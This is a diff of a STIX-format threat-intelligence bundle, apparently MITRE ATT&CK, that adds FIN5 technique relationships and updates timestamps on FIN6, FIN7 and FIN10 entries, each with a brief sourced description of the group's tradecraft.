             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -27203,7 +31785,7 @@
             "id": "relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has used Meterpreter to enumerate users on remote systems.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -27224,7 +31806,7 @@
             "id": "relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -27245,7 +31827,7 @@
             "id": "relationship--059f8b03-59f9-45da-9c12-862f50e5fe45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has used batch scripts and scheduled tasks to delete critical system files.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
@@ -27261,12 +31843,312 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye Respond Webinar July 2017",
+                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
+                    "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3ef6a3fb-0d59-4ba5-b2d0-dc32d547b74f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has used the open source tool Essential NetTools to map the network and build a list of targets.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--39590383-ba69-4d8f-9520-e893cd4ebcdf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 scans processes on all victim systems in the environment and uses automated scripts to pull back the results.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 scans processes on all victim systems in the environment and uses automated scripts to pull back the results.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 scripts save memory dump data into a specific directory on hosts in the victim environment.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9abd0448-a3b7-4262-8753-fe81dc91c434",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye Respond Webinar July 2017",
+                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
+                    "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 maintains access to victim environments by using Valid Accounts to access External Remote Services as well as establishing a backup RDP tunnel by using FLIPSIDE.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--1ace08c6-0f1a-487d-92b2-6c61c2299270",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 uses SDelete to clean up the environment and attempt to prevent detection.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--6b429676-7b77-4453-a6ce-2d6a6cb0dfe7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has dumped credentials from victims. Specifically, the group has used the tool GET5 Penetrator to look for remote login and hard-coded credentials.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9b43f780-6a8b-477f-826f-c45e867749c9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 has cleared event logs from victims.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--dff84383-c4c5-4974-a33d-9e43526abf49",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--432f40d2-5309-4cc1-9544-2943233c3c2c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a2c9bae6-15aa-4ce0-8f4d-01b8fc32a36d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--1f764874-0e08-4799-9487-a9e12c499c13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener. FIN6 has also used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27287,7 +32169,7 @@
             "id": "relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27308,7 +32190,7 @@
             "id": "relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27329,7 +32211,7 @@
             "id": "relationship--aea8401e-774e-47b1-86ac-220cacd11a3c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and PoS malware known as TRINITY.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27350,7 +32232,7 @@
             "id": "relationship--e0bc7e9b-aec8-4e78-baed-f635ee7bd196",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used Windows Credential Editor for credential dumping, as well as Metasploit\u2019s PsExec NTDSGRAB module to obtain a copy of the victim's Active Directory database.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27371,7 +32253,7 @@
             "id": "relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27392,7 +32274,7 @@
             "id": "relationship--16c7058c-8fa5-4477-8332-9e76fcb38924",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used Metasploit\u2019s PsExec NTDSGRAB module to obtain a copy of the victim's Active Directory database.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27413,7 +32295,7 @@
             "id": "relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27434,7 +32316,7 @@
             "id": "relationship--ade72dc6-559e-4a84-9024-1a862faec6a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27455,7 +32337,7 @@
             "id": "relationship--da395019-238a-4c4e-b4cd-43947e8aa019",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "To move laterally on a victim network, FIN6 has used credentials stolen from various systems on which it gathered usernames and password hashes.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27476,7 +32358,7 @@
             "id": "relationship--a317b097-b819-441b-b344-9f129ba6cb40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used RDP to move laterally in victim networks.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27497,7 +32379,7 @@
             "id": "relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used the Plink command-line utility to create SSH tunnels to C2 servers.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27518,7 +32400,7 @@
             "id": "relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used the Plink command-line utility to create SSH tunnels to C2 servers.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27539,7 +32421,7 @@
             "id": "relationship--eaaf6671-ead6-441b-b8d0-037a1e47572e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TRINITY malware used by FIN6 identifies payment card track data on the victim and then copies it to a local file in a subdirectory of <code>C:\\Windows\\</code>. Once the malware collects the data, FIN6 actors compressed data and moved it to another staging system before exfiltration.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27560,7 +32442,7 @@
             "id": "relationship--0c78e3a7-45c5-454f-8905-a831fbede841",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TRINITY malware used by FIN6 encodes data gathered from the victim with a simple substitution cipher and single-byte XOR using the OxAA key.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27581,7 +32463,7 @@
             "id": "relationship--ac7d5b88-7929-4f64-abcd-8219caafac24",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used a script to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27602,7 +32484,7 @@
             "id": "relationship--98229d5a-fce3-442e-91cf-7ec7b7994248",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Following data collection, FIN6 has compressed log files into a ZIP archive prior to staging and exfiltration.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -27623,7 +32505,7 @@
             "id": "relationship--6ed5961a-224a-419b-b696-8962813158f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
             "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
@@ -27636,7 +32518,7 @@
             "id": "relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -27649,7 +32531,7 @@
             "id": "relationship--4856de0a-2635-4081-97a8-3f15593c2aa5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 uses a PowerShell script to launch shellcode that retrieves an additional payload.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
@@ -27675,7 +32557,7 @@
             "id": "relationship--b077d81d-0449-493f-9b93-23dc0fb0b62d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 uses a PowerShell script to launch shellcode that retrieves an additional payload.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
@@ -27696,7 +32578,7 @@
             "id": "relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 malware has created scheduled tasks to establish persistence.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
@@ -27722,7 +32604,7 @@
             "id": "relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 malware has created a Registry Run key pointing to its malicious LNK file to establish persistence.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
@@ -27743,7 +32625,7 @@
             "id": "relationship--37ba7858-8765-4445-a65e-d2765b673b34",
